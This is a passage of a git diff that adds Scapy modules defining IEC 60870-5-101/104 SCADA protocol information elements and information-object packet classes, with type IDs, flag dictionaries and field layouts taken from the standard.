LFD_FLAGS = { + LFD_FLAG_NEXT_FILE_OF_DIR_FOLLOWS: 'next file of dir follows', + LFD_FLAG_LAST_FILE_OF_DIR: 'last file of dir' + } + + FOR_FLAG_NAME_DEFINES_FILE = 0 + FOR_FLAG_NAME_DEFINES_SUBDIR = 1 + FOR_FLAGS = { + FOR_FLAG_NAME_DEFINES_FILE: 'name defines file', + FOR_FLAG_NAME_DEFINES_SUBDIR: 'name defines subdirectory' + } + + FA_FLAG_FILE_WAITS_FOR_TRANSFER = 0 + FA_FLAG_FILE_TRANSFER_IS_ACTIVE = 1 + FA_FLAGS = { + FA_FLAG_FILE_WAITS_FOR_TRANSFER: 'file waits for transfer', + FA_FLAG_FILE_TRANSFER_IS_ACTIVE: 'transfer of file active' + } + + informantion_element_fields = [ + BitEnumField('fa', 0, 1, FA_FLAGS), + BitEnumField('for', 0, 1, FOR_FLAGS), + BitEnumField('lfd', 0, 1, LFD_FLAGS), + BitEnumField('status', 0, 5, STATUS_FLAGS) + ] + + +@_generate_attributes_and_dicts +class IEC104_IE_QOS: + """ + QOS - qualifier of set-point command + + EN 60870-5-101:2003, sec. 7.2.6.39 (p. 57) + """ + QL_FLAG_UNUSED = 0 + + QL_FLAGS = { + QL_FLAG_UNUSED: 'unused' + } + + GENERATED_ATTRIBUTES = [ + ('QL_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', + QL_FLAGS, 1, 63), + ('QL_FLAG_PRIVATE_RESERVED', 'private reserved', + QL_FLAGS, 64, 127) + ] + + SE_FLAG_EXECUTE = 0 + SE_FLAG_SELECT = 1 + SE_FLAGS = { + SE_FLAG_EXECUTE: 'execute', + SE_FLAG_SELECT: 'select' + } + + informantion_element_fields = [ + BitEnumField('action', 0, 1, SE_FLAGS), + BitEnumField('ql', 0, 7, QL_FLAGS) + ] + + +class IEC104_IE_SCD: + """ + SCD - status and status change detection + + EN 60870-5-101:2003, sec. 7.2.6.40 (p. 57) + """ + ST_FLAG_STATE_OFF = 0 + ST_FLAG_STATE_ON = 1 + ST_FLAGS = { + ST_FLAG_STATE_OFF: 'off', + ST_FLAG_STATE_ON: 'on' + } + + CD_FLAG_STATE_NOT_CHANGED = 0 + CD_FLAG_STATE_CHANGED = 1 + CD_FLAGS = { + CD_FLAG_STATE_NOT_CHANGED: 'state not changed', + CD_FLAG_STATE_CHANGED: 'state changed' + } + + informantion_element_fields = [ + BitEnumField('cd_16', 0, 1, CD_FLAGS), + BitEnumField('cd_15', 0, 1, CD_FLAGS), + BitEnumField('cd_14', 0, 1, CD_FLAGS), + BitEnumField('cd_13', 0, 1, CD_FLAGS), + BitEnumField('cd_12', 0, 1, CD_FLAGS), + BitEnumField('cd_11', 0, 1, CD_FLAGS), + BitEnumField('cd_10', 0, 1, CD_FLAGS), + BitEnumField('cd_9', 0, 1, CD_FLAGS), + BitEnumField('cd_8', 0, 1, CD_FLAGS), + BitEnumField('cd_7', 0, 1, CD_FLAGS), + BitEnumField('cd_6', 0, 1, CD_FLAGS), + BitEnumField('cd_5', 0, 1, CD_FLAGS), + BitEnumField('cd_4', 0, 1, CD_FLAGS), + BitEnumField('cd_3', 0, 1, CD_FLAGS), + BitEnumField('cd_2', 0, 1, CD_FLAGS), + BitEnumField('cd_1', 0, 1, CD_FLAGS), + BitEnumField('st_16', 0, 1, ST_FLAGS), + BitEnumField('st_15', 0, 1, ST_FLAGS), + BitEnumField('st_14', 0, 1, ST_FLAGS), + BitEnumField('st_13', 0, 1, ST_FLAGS), + BitEnumField('st_12', 0, 1, ST_FLAGS), + BitEnumField('st_11', 0, 1, ST_FLAGS), + BitEnumField('st_10', 0, 1, ST_FLAGS), + BitEnumField('st_9', 0, 1, ST_FLAGS), + BitEnumField('st_8', 0, 1, ST_FLAGS), + BitEnumField('st_7', 0, 1, ST_FLAGS), + BitEnumField('st_6', 0, 1, ST_FLAGS), + BitEnumField('st_5', 0, 1, ST_FLAGS), + BitEnumField('st_4', 0, 1, ST_FLAGS), + BitEnumField('st_3', 0, 1, ST_FLAGS), + BitEnumField('st_2', 0, 1, ST_FLAGS), + BitEnumField('st_1', 0, 1, ST_FLAGS), + ] + + +class IEC104_IE_TSC: + """ + TSC - test sequence counter + + EN 60870-5-104:2006, sec. 8.8 (p. 44) + """ + informantion_element_fields = [ + LEShortField('tsc', 0) + ] diff --git a/libs/scapy/contrib/scada/iec104/iec104_information_objects.py b/libs/scapy/contrib/scada/iec104/iec104_information_objects.py new file mode 100755 index 0000000..c1e698c --- /dev/null +++ b/libs/scapy/contrib/scada/iec104/iec104_information_objects.py @@ -0,0 +1,2251 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Thomas Tannhaeuser +# This program is published under a GPLv2 license +# +# scapy.contrib.description = IEC-60870-5-104 ASDU layers / IO definitions +# scapy.contrib.status = loads + +""" + application service data units used by IEC 60870-5-101/104 + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + :description: + + This module provides the information object (IO) definitions used + within the IEC 60870-5-101 and IEC 60870-5-104 protocol. + + normative references: + - IEC 60870-5-101:2003 (sec. 7.3) + - IEC 60870-5-104:2006 (sec. 8)) + + + :NOTES: + - this file contains all IO definitions from 101 and 104 - even if an + IO is not used within 104 +""" +from scapy.config import conf +from scapy.contrib.scada.iec104.iec104_fields import LEThreeBytesField +from scapy.contrib.scada.iec104.iec104_information_elements import \ + IEC104_IE_SIQ, IEC104_IE_CP24TIME2A, IEC104_IE_DIQ, IEC104_IE_VTI, \ + IEC104_IE_QDS, IEC104_IE_BSI, IEC104_IE_NVA, IEC104_IE_SVA, \ + IEC104_IE_R32_IEEE_STD_754, IEC104_IE_BCR, IEC104_IE_CP16TIME2A_ELAPSED, \ + IEC104_IE_SEP, IEC104_IE_SPE, IEC104_IE_CP16TIME2A_PROTECTION_ACTIVE, \ + IEC104_IE_QDP, IEC104_IE_CP16TIME2A_PROTECTION_COMMAND, IEC104_IE_OCI, \ + IEC104_IE_SCD, IEC104_IE_CP56TIME2A, IEC104_IE_SCO, IEC104_IE_DCO, \ + IEC104_IE_RCO, IEC104_IE_QOS, IEC104_IE_QOI, IEC104_IE_QCC, \ + IEC104_IE_FBP, IEC104_IE_QRP, IEC104_IE_CP16TIME2A, IEC104_IE_QPM, \ + IEC104_IE_QPA, IEC104_IE_NOF, IEC104_IE_LOF, IEC104_IE_FRQ, \ + IEC104_IE_NOS, IEC104_IE_SRQ, IEC104_IE_SCQ, IEC104_IE_CHS, \ + IEC104_IE_LSQ, IEC104_IE_AFQ, IEC104_IE_SOF, IEC104_IE_COI, \ + IEC104_IE_CP56TIME2A_START_TIME, IEC104_IE_CP56TIME2A_STOP_TIME, \ + IEC104_IE_TSC + +from scapy.fields import XStrLenField, BitFieldLenField +from scapy.packet import Packet + +IEC104_IO_ID_UNDEFINED = 0x00 +IEC104_IO_ID_M_SP_NA_1 = 0x01 +IEC104_IO_ID_M_SP_TA_1 = 0x02 +IEC104_IO_ID_M_DP_NA_1 = 0x03 +IEC104_IO_ID_M_DP_TA_1 = 0x04 +IEC104_IO_ID_M_ST_NA_1 = 0x05 +IEC104_IO_ID_M_ST_TA_1 = 0x06 +IEC104_IO_ID_M_BO_NA_1 = 0x07 +IEC104_IO_ID_M_BO_TA_1 = 0x08 +IEC104_IO_ID_M_ME_NA_1 = 0x09 +IEC104_IO_ID_M_ME_TA_1 = 0x0a +IEC104_IO_ID_M_ME_NB_1 = 0x0b +IEC104_IO_ID_M_ME_TB_1 = 0x0c +IEC104_IO_ID_M_ME_NC_1 = 0x0d +IEC104_IO_ID_M_ME_TC_1 = 0x0e +IEC104_IO_ID_M_IT_NA_1 = 0x0f +IEC104_IO_ID_M_IT_TA_1 = 0x10 +IEC104_IO_ID_M_EP_TA_1 = 0x11 +IEC104_IO_ID_M_EP_TB_1 = 0x12 +IEC104_IO_ID_M_EP_TC_1 = 0x13 +IEC104_IO_ID_M_PS_NA_1 = 0x14 +IEC104_IO_ID_M_ME_ND_1 = 0x15 +IEC104_IO_ID_M_SP_TB_1 = 0x1e +IEC104_IO_ID_M_DP_TB_1 = 0x1f +IEC104_IO_ID_M_ST_TB_1 = 0x20 +IEC104_IO_ID_M_BO_TB_1 = 0x21 +IEC104_IO_ID_M_ME_TD_1 = 0x22 +IEC104_IO_ID_M_ME_TE_1 = 0x23 +IEC104_IO_ID_M_ME_TF_1 = 0x24 +IEC104_IO_ID_M_IT_TB_1 = 0x25 +IEC104_IO_ID_M_EP_TD_1 = 0x26 +IEC104_IO_ID_M_EP_TE_1 = 0x27 +IEC104_IO_ID_M_EP_TF_1 = 0x28 +IEC104_IO_ID_C_SC_NA_1 = 0x2d +IEC104_IO_ID_C_DC_NA_1 = 0x2e +IEC104_IO_ID_C_RC_NA_1 = 0x2f +IEC104_IO_ID_C_SE_NA_1 = 0x30 +IEC104_IO_ID_C_SE_NB_1 = 0x31 +IEC104_IO_ID_C_SE_NC_1 = 0x32 +IEC104_IO_ID_C_BO_NA_1 = 0x33 +IEC104_IO_ID_M_EI_NA_1 = 0x46 +IEC104_IO_ID_C_IC_NA_1 = 0x64 +IEC104_IO_ID_C_CI_NA_1 = 0x65 +IEC104_IO_ID_C_RD_NA_1 = 0x66 +IEC104_IO_ID_C_CS_NA_1 = 0x67 +IEC104_IO_ID_C_TS_NA_1 = 0x68 +IEC104_IO_ID_C_RP_NA_1 = 0x69 +IEC104_IO_ID_C_CD_NA_1 = 0x6a +IEC104_IO_ID_P_ME_NA_1 = 0x6e +IEC104_IO_ID_P_ME_NB_1 = 0x6f +IEC104_IO_ID_P_ME_NC_1 = 0x70 +IEC104_IO_ID_P_AC_NA_1 = 0x71 +IEC104_IO_ID_F_FR_NA_1 = 0x78 +IEC104_IO_ID_F_SR_NA_1 = 0x79 +IEC104_IO_ID_F_SC_NA_1 = 0x7a +IEC104_IO_ID_F_LS_NA_1 = 0x7b +IEC104_IO_ID_F_AF_NA_1 = 0x7c +IEC104_IO_ID_F_SG_NA_1 = 0x7d +IEC104_IO_ID_F_DR_TA_1 = 0x7e +# specific IOs from 60870-5-104:2006, sec. 8 (p. 37 ff) +IEC104_IO_ID_C_SC_TA_1 = 0x3a +IEC104_IO_ID_C_DC_TA_1 = 0x3b +IEC104_IO_ID_C_RC_TA_1 = 0x3c +IEC104_IO_ID_C_SE_TA_1 = 0x3d +IEC104_IO_ID_C_SE_TB_1 = 0x3e +IEC104_IO_ID_C_SE_TC_1 = 0x3f +IEC104_IO_ID_C_BO_TA_1 = 0x40 +IEC104_IO_ID_C_TS_TA_1 = 0x6b +IEC104_IO_ID_F_SC_NB_1 = 0x7f + + +def _dict_add_reserved_range(d, start, end): + for idx in range(start, end + 1): + d[idx] = 'reserved_{}'.format(idx) + + +IEC104_IO_DESCRIPTIONS = { + 0: 'undefined', + IEC104_IO_ID_M_SP_NA_1: 'M_SP_NA_1 (single point report)', + IEC104_IO_ID_M_SP_TA_1: 'M_SP_TA_1 (single point report with timestamp) ' + '# 60870-4-101 only', + IEC104_IO_ID_M_DP_NA_1: 'M_DP_NA_1 (double point report)', + IEC104_IO_ID_M_DP_TA_1: 'M_DP_TA_1 (double point report with timestamp) ' + '# 60870-4-101 only', + IEC104_IO_ID_M_ST_NA_1: 'M_ST_NA_1 (step control report)', + IEC104_IO_ID_M_ST_TA_1: 'M_ST_TA_1 (step control report with timestamp) ' + '# 60870-4-101 only', + IEC104_IO_ID_M_BO_NA_1: 'M_BO_NA_1 (bitmask 32 bit)', + IEC104_IO_ID_M_BO_TA_1: 'M_BO_TA_1 (bitmask 32 bit with timestamp) ' + '# 60870-4-101 only', + IEC104_IO_ID_M_ME_NA_1: 'M_ME_NA_1 (meas, normed value)', + IEC104_IO_ID_M_ME_TA_1: 'M_ME_TA_1 (meas, normed value with timestamp) ' + '# 60870-4-101 only', + IEC104_IO_ID_M_ME_NB_1: 'M_ME_NB_1 (meas, scaled value)', + IEC104_IO_ID_M_ME_TB_1: 'M_ME_TB_1 (meas, scaled value with timestamp) ' + '# 60870-4-101 only', + IEC104_IO_ID_M_ME_NC_1: 'M_ME_NC_1 (meas, shortened floating point value)', + IEC104_IO_ID_M_ME_TC_1: 'M_ME_TC_1 (meas, shortened floating point value ' + 'with timestamp) # 60870-4-101 only', + IEC104_IO_ID_M_IT_NA_1: 'M_IT_NA_1 (counter value)', + IEC104_IO_ID_M_IT_TA_1: 'M_IT_TA_1 (counter value with timestamp) ' + '# 60870-4-101 only', + IEC104_IO_ID_M_EP_TA_1: 'M_EP_TA_1 (protection event with timestamp) ' + '# 60870-4-101 only', + IEC104_IO_ID_M_EP_TB_1: 'M_EP_TB_1 (blocked protection trigger with ' + 'timestamp) # 60870-4-101 only', + IEC104_IO_ID_M_EP_TC_1: 'M_EP_TC_1 (blocked protection action with ' + 'timestamp) # 60870-4-101 only', + IEC104_IO_ID_M_PS_NA_1: 'M_PS_NA_1 (blocked single report with ' + 'change indication)', + IEC104_IO_ID_M_ME_ND_1: 'M_ME_ND_1 (meas, normed value, no quality ' + 'indication)', + IEC104_IO_ID_M_SP_TB_1: 'M_SP_TB_1 (single point report with CP56Time2a ' + 'time field)', + IEC104_IO_ID_M_DP_TB_1: 'M_DP_TB_1 (double point report with CP56Time2a ' + 'time field)', + IEC104_IO_ID_M_ST_TB_1: 'M_ST_TB_1 (step control report with CP56Time2a ' + 'time field)', + IEC104_IO_ID_M_BO_TB_1: 'M_BO_TB_1 (bitmask 32 bit with CP56Time2a time ' + 'field)', + IEC104_IO_ID_M_ME_TD_1: 'M_ME_TD_1 (meas, normed value with CP56Time2a ' + 'time field)', + IEC104_IO_ID_M_ME_TE_1: 'M_ME_TE_1 (meas, scaled value with CP56Time2a ' + 'time field)', + IEC104_IO_ID_M_ME_TF_1: 'M_ME_TF_1 (meas, shortened floating point value ' + 'with CP56Time2a time field)', + IEC104_IO_ID_M_IT_TB_1: 'M_IT_TB_1 (counter with CP56Time2a time field)', + IEC104_IO_ID_M_EP_TD_1: 'M_EP_TD_1 (protection event with CP56Time2a ' + 'time field)', + IEC104_IO_ID_M_EP_TE_1: 'M_EP_TE_1 (blocked protection trigger with ' + 'CP56Time2a time field)', + IEC104_IO_ID_M_EP_TF_1: 'M_EP_TF_1 (blocked protection action with ' + 'CP56Time2a time field)', + IEC104_IO_ID_C_SC_NA_1: 'C_SC_NA_1 (single command)', + IEC104_IO_ID_C_DC_NA_1: 'C_DC_NA_1 (double command)', + IEC104_IO_ID_C_RC_NA_1: 'C_RC_NA_1 (step control command)', + IEC104_IO_ID_C_SE_NA_1: 'C_SE_NA_1 (setpoint control command, ' + 'normed value)', + IEC104_IO_ID_C_SE_NB_1: 'C_SE_NB_1 (setpoint control command, ' + 'scaled value)', + IEC104_IO_ID_C_SE_NC_1: 'C_SE_NC_1 (setpoint control command, ' + 'shortened floating point value)', + IEC104_IO_ID_C_BO_NA_1: 'C_BO_NA_1 (bitmask 32 bit)', + IEC104_IO_ID_C_SC_TA_1: 'C_SC_TA_1 (single point command with ' + 'CP56Time2a time field)', + IEC104_IO_ID_C_DC_TA_1: 'C_DC_TA_1 (double point command with ' + 'CP56Time2a time field)', + IEC104_IO_ID_C_RC_TA_1: 'C_RC_TA_1 (step control command with ' + 'CP56Time2a time field)', + IEC104_IO_ID_C_SE_TA_1: 'C_SE_TA_1 (setpoint command, normed value with ' + 'CP56Time2a time field)', + IEC104_IO_ID_C_SE_TB_1: 'C_SE_TB_1 (setpoint command, scaled value with ' + 'CP56Time2a time field)', + IEC104_IO_ID_C_SE_TC_1: 'C_SE_TC_1 (setpoint command, shortened floating ' + 'point value with CP56Time2a time field)', + IEC104_IO_ID_C_BO_TA_1: 'C_BO_TA_1 (bitmask 32 command bit with ' + 'CP56Time2a time field)', + IEC104_IO_ID_M_EI_NA_1: 'M_EI_NA_1 (init done)', + IEC104_IO_ID_C_IC_NA_1: 'C_IC_NA_1 (general interrogation command)', + IEC104_IO_ID_C_CI_NA_1: 'C_CI_NA_1 (counter interrogation command)', + IEC104_IO_ID_C_RD_NA_1: 'C_RD_NA_1 (interrogation)', + IEC104_IO_ID_C_CS_NA_1: 'C_CS_NA_1 (time synchronisation command)', + IEC104_IO_ID_C_TS_NA_1: 'C_TS_NA_1 (test command) # 60870-4-101 only', + IEC104_IO_ID_C_RP_NA_1: 'C_RP_NA_1 (process reset command)', + IEC104_IO_ID_C_CD_NA_1: 'C_CD_NA_1 (meas telegram transit time command) ' + '# 60870-4-101 only', + IEC104_IO_ID_C_TS_TA_1: 'C_TS_TA_1 (test command with CP56Time2a ' + 'time field)', + IEC104_IO_ID_P_ME_NA_1: 'P_ME_NA_1 (meas parameter, normed value)', + IEC104_IO_ID_P_ME_NB_1: 'P_ME_NB_1 (meas parameter, scaled value)', + IEC104_IO_ID_P_ME_NC_1: 'P_ME_NC_1 (meas parameter, shortened floating ' + 'point value)', + IEC104_IO_ID_P_AC_NA_1: 'P_AC_NA_1 (parameter for activation)', + IEC104_IO_ID_F_FR_NA_1: 'F_FR_NA_1 (file ready)', + IEC104_IO_ID_F_SR_NA_1: 'F_SR_NA_1 (section ready)', + IEC104_IO_ID_F_SC_NA_1: 'F_SC_NA_1 (query directory, selection, section)', + IEC104_IO_ID_F_LS_NA_1: 'F_LS_NA_1 (last part/segment)', + IEC104_IO_ID_F_AF_NA_1: 'F_AF_NA_1 (file/section acknowledgement)', + IEC104_IO_ID_F_SG_NA_1: 'F_SG_NA_1 (segment)', + IEC104_IO_ID_F_DR_TA_1: 'F_DR_TA_1 (directory)', + IEC104_IO_ID_F_SC_NB_1: 'F_SC_NB_1 (query log - request archive file)' +} +_dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 22, 29) +_dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 41, 44) +_dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 52, 57) +_dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 65, 69) +_dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 71, 99) +_dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 108, 109) +_dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 114, 119) + +IEC104_IO_NAMES = { + 0: 'undefined', + IEC104_IO_ID_M_SP_NA_1: 'M_SP_NA_1', + IEC104_IO_ID_M_SP_TA_1: 'M_SP_TA_1', + IEC104_IO_ID_M_DP_NA_1: 'M_DP_NA_1', + IEC104_IO_ID_M_DP_TA_1: 'M_DP_TA_1', + IEC104_IO_ID_M_ST_NA_1: 'M_ST_NA_1', + IEC104_IO_ID_M_ST_TA_1: 'M_ST_TA_1', + IEC104_IO_ID_M_BO_NA_1: 'M_BO_NA_1', + IEC104_IO_ID_M_BO_TA_1: 'M_BO_TA_1', + IEC104_IO_ID_M_ME_NA_1: 'M_ME_NA_1', + IEC104_IO_ID_M_ME_TA_1: 'M_ME_TA_1', + IEC104_IO_ID_M_ME_NB_1: 'M_ME_NB_1', + IEC104_IO_ID_M_ME_TB_1: 'M_ME_TB_1', + IEC104_IO_ID_M_ME_NC_1: 'M_ME_NC_1', + IEC104_IO_ID_M_ME_TC_1: 'M_ME_TC_1', + IEC104_IO_ID_M_IT_NA_1: 'M_IT_NA_1', + IEC104_IO_ID_M_IT_TA_1: 'M_IT_TA_1', + IEC104_IO_ID_M_EP_TA_1: 'M_EP_TA_1', + IEC104_IO_ID_M_EP_TB_1: 'M_EP_TB_1', + IEC104_IO_ID_M_EP_TC_1: 'M_EP_TC_1', + IEC104_IO_ID_M_PS_NA_1: 'M_PS_NA_1', + IEC104_IO_ID_M_ME_ND_1: 'M_ME_ND_1', + IEC104_IO_ID_M_SP_TB_1: 'M_SP_TB_1', + IEC104_IO_ID_M_DP_TB_1: 'M_DP_TB_1', + IEC104_IO_ID_M_ST_TB_1: 'M_ST_TB_1', + IEC104_IO_ID_M_BO_TB_1: 'M_BO_TB_1', + IEC104_IO_ID_M_ME_TD_1: 'M_ME_TD_1', + IEC104_IO_ID_M_ME_TE_1: 'M_ME_TE_1', + IEC104_IO_ID_M_ME_TF_1: 'M_ME_TF_1', + IEC104_IO_ID_M_IT_TB_1: 'M_IT_TB_1', + IEC104_IO_ID_M_EP_TD_1: 'M_EP_TD_1', + IEC104_IO_ID_M_EP_TE_1: 'M_EP_TE_1', + IEC104_IO_ID_M_EP_TF_1: 'M_EP_TF_1', + IEC104_IO_ID_C_SC_NA_1: 'C_SC_NA_1', + IEC104_IO_ID_C_DC_NA_1: 'C_DC_NA_1', + IEC104_IO_ID_C_RC_NA_1: 'C_RC_NA_1', + IEC104_IO_ID_C_SE_NA_1: 'C_SE_NA_1', + IEC104_IO_ID_C_SE_NB_1: 'C_SE_NB_1', + IEC104_IO_ID_C_SE_NC_1: 'C_SE_NC_1', + IEC104_IO_ID_C_BO_NA_1: 'C_BO_NA_1', + IEC104_IO_ID_C_SC_TA_1: 'C_SC_TA_1', + IEC104_IO_ID_C_DC_TA_1: 'C_DC_TA_1', + IEC104_IO_ID_C_RC_TA_1: 'C_RC_TA_1', + IEC104_IO_ID_C_SE_TA_1: 'C_SE_TA_1', + IEC104_IO_ID_C_SE_TB_1: 'C_SE_TB_1', + IEC104_IO_ID_C_SE_TC_1: 'C_SE_TC_1', + IEC104_IO_ID_C_BO_TA_1: 'C_BO_TA_1', + IEC104_IO_ID_M_EI_NA_1: 'M_EI_NA_1', + IEC104_IO_ID_C_IC_NA_1: 'C_IC_NA_1', + IEC104_IO_ID_C_CI_NA_1: 'C_CI_NA_1', + IEC104_IO_ID_C_RD_NA_1: 'C_RD_NA_1', + IEC104_IO_ID_C_CS_NA_1: 'C_CS_NA_1', + IEC104_IO_ID_C_TS_NA_1: 'C_TS_NA_1', + IEC104_IO_ID_C_RP_NA_1: 'C_RP_NA_1', + IEC104_IO_ID_C_CD_NA_1: 'C_CD_NA_1', + IEC104_IO_ID_C_TS_TA_1: 'C_TS_TA_1', + IEC104_IO_ID_P_ME_NA_1: 'P_ME_NA_1', + IEC104_IO_ID_P_ME_NB_1: 'P_ME_NB_1', + IEC104_IO_ID_P_ME_NC_1: 'P_ME_NC_1', + IEC104_IO_ID_P_AC_NA_1: 'P_AC_NA_1', + IEC104_IO_ID_F_FR_NA_1: 'F_FR_NA_1', + IEC104_IO_ID_F_SR_NA_1: 'F_SR_NA_1', + IEC104_IO_ID_F_SC_NA_1: 'F_SC_NA_1', + IEC104_IO_ID_F_LS_NA_1: 'F_LS_NA_1', + IEC104_IO_ID_F_AF_NA_1: 'F_AF_NA_1', + IEC104_IO_ID_F_SG_NA_1: 'F_SG_NA_1', + IEC104_IO_ID_F_DR_TA_1: 'F_DR_TA_1', + IEC104_IO_ID_F_SC_NB_1: 'F_SC_NB_1' +} +_dict_add_reserved_range(IEC104_IO_NAMES, 22, 29) +_dict_add_reserved_range(IEC104_IO_NAMES, 41, 44) +_dict_add_reserved_range(IEC104_IO_NAMES, 52, 57) +_dict_add_reserved_range(IEC104_IO_NAMES, 65, 69) +_dict_add_reserved_range(IEC104_IO_NAMES, 71, 99) +_dict_add_reserved_range(IEC104_IO_NAMES, 108, 109) +_dict_add_reserved_range(IEC104_IO_NAMES, 114, 119) + + +class IEC104_IO_InvalidPayloadException(Exception): + """ + raised if payload is not of the same type, raw() or a child of IEC104_APDU + """ + pass + + +class IEC104_IO_Packet(Packet): + """ + base class of all information object representations + """ + DEFINED_IN_IEC_101 = 0x01 + DEFINED_IN_IEC_104 = 0x02 + + _DEFINED_IN = [] + + def guess_payload_class(self, payload): + return conf.padding_layer + + _IEC104_IO_TYPE_ID = IEC104_IO_ID_UNDEFINED + + def iec104_io_type_id(self): + """ + get individual type id of the information object instance + + :return: information object type id (IEC104_IO_ID_*) + """ + return self._IEC104_IO_TYPE_ID + + def defined_for_iec_101(self): + """ + information object ASDU allowed for IEC 60870-5-101 + + :return: True if the information object is defined within + IEC 60870-5-101, else False + """ + return IEC104_IO_Packet.DEFINED_IN_IEC_101 in self._DEFINED_IN + + def defined_for_iec_104(self): + """ + information object ASDU allowed for IEC 60870-5-104 + + :return: True if the information object is defined within + IEC 60870-5-104, else False + """ + return IEC104_IO_Packet.DEFINED_IN_IEC_104 in self._DEFINED_IN + + +class IEC104_IO_M_SP_NA_1(IEC104_IO_Packet): + """ + single-point information without time tag] + + EN 60870-5-101:2003, sec. 7.3.1.1 (p. 58) + """ + name = 'M_SP_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_SP_NA_1 + + fields_desc = IEC104_IE_SIQ.informantion_element_fields + + +class IEC104_IO_M_SP_TA_1(IEC104_IO_Packet): + """ + single-point information with time tag + + EN 60870-5-101:2003, sec. 7.3.1.2 (p. 59) + """ + name = 'M_SP_TA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_SP_TA_1 + + fields_desc = IEC104_IE_SIQ.informantion_element_fields + \ + IEC104_IE_CP24TIME2A.informantion_element_fields + + +class IEC104_IO_M_DP_NA_1(IEC104_IO_Packet): + """ + double-point information without time tag + + EN 60870-5-101:2003, sec. 7.3.1.3 (p. 60) + """ + name = 'M_DP_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_DP_NA_1 + + fields_desc = IEC104_IE_DIQ.informantion_element_fields + + +class IEC104_IO_M_DP_TA_1(IEC104_IO_Packet): + """ + double-point information with time tag + + EN 60870-5-101:2003, sec. 7.3.1.4 (p. 61) + """ + name = 'M_DP_TA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_DP_TA_1 + + fields_desc = IEC104_IE_DIQ.informantion_element_fields + \ + IEC104_IE_CP24TIME2A.informantion_element_fields + + +class IEC104_IO_M_ST_NA_1(IEC104_IO_Packet): + """ + step position information + + EN 60870-5-101:2003, sec. 7.3.1.5 (p. 62) + """ + name = 'M_ST_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ST_NA_1 + + fields_desc = IEC104_IE_VTI.informantion_element_fields + \ + IEC104_IE_QDS.informantion_element_fields + + +class IEC104_IO_M_ST_TA_1(IEC104_IO_Packet): + """ + step position information with time tag + + EN 60870-5-101:2003, sec. 7.3.1.6 (p. 63) + """ + name = 'M_ST_TA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ST_TA_1 + + fields_desc = IEC104_IE_VTI.informantion_element_fields + \ + IEC104_IE_QDS.informantion_element_fields + \ + IEC104_IE_CP24TIME2A.informantion_element_fields + + +class IEC104_IO_M_BO_NA_1(IEC104_IO_Packet): + """ + bitstring of 32 bit + + EN 60870-5-101:2003, sec. 7.3.1.7 (p. 64) + """ + name = 'M_BO_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_BO_NA_1 + + fields_desc = IEC104_IE_BSI.informantion_element_fields + \ + IEC104_IE_QDS.informantion_element_fields + + +class IEC104_IO_M_BO_TA_1(IEC104_IO_Packet): + """ + bitstring of 32 bit with time tag + + EN 60870-5-101:2003, sec. 7.3.1.8 (p. 66) + """ + name = 'M_BO_TA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_BO_TA_1 + + fields_desc = IEC104_IE_BSI.informantion_element_fields + \ + IEC104_IE_QDS.informantion_element_fields + \ + IEC104_IE_CP24TIME2A.informantion_element_fields + + +class IEC104_IO_M_ME_NA_1(IEC104_IO_Packet): + """ + measured value, normalized value + + EN 60870-5-101:2003, sec. 7.3.1.9 (p. 67) + """ + name = 'M_ME_NA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_NA_1 + + fields_desc = IEC104_IE_NVA.informantion_element_fields + \ + IEC104_IE_QDS.informantion_element_fields + + +class IEC104_IO_M_ME_TA_1(IEC104_IO_Packet): + """ + measured value, normalized value with time tag + + EN 60870-5-101:2003, sec. 7.3.1.10 (p. 68) + """ + name = 'M_ME_TA_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TA_1 + + fields_desc = IEC104_IE_NVA.informantion_element_fields + \ + IEC104_IE_QDS.informantion_element_fields + \ + IEC104_IE_CP24TIME2A.informantion_element_fields + + +class IEC104_IO_M_ME_NB_1(IEC104_IO_Packet): + """ + measured value, scaled value + + EN 60870-5-101:2003, sec. 7.3.1.11 (p. 69) + """ + name = 'M_ME_NB_1' + + _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101, + IEC104_IO_Packet.DEFINED_IN_IEC_104] + _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_NB_1 + + fields_desc = IEC104_IE_SVA.informantion_element_fields + \ + IEC104_IE_QDS.informantion_element_fields + + +class 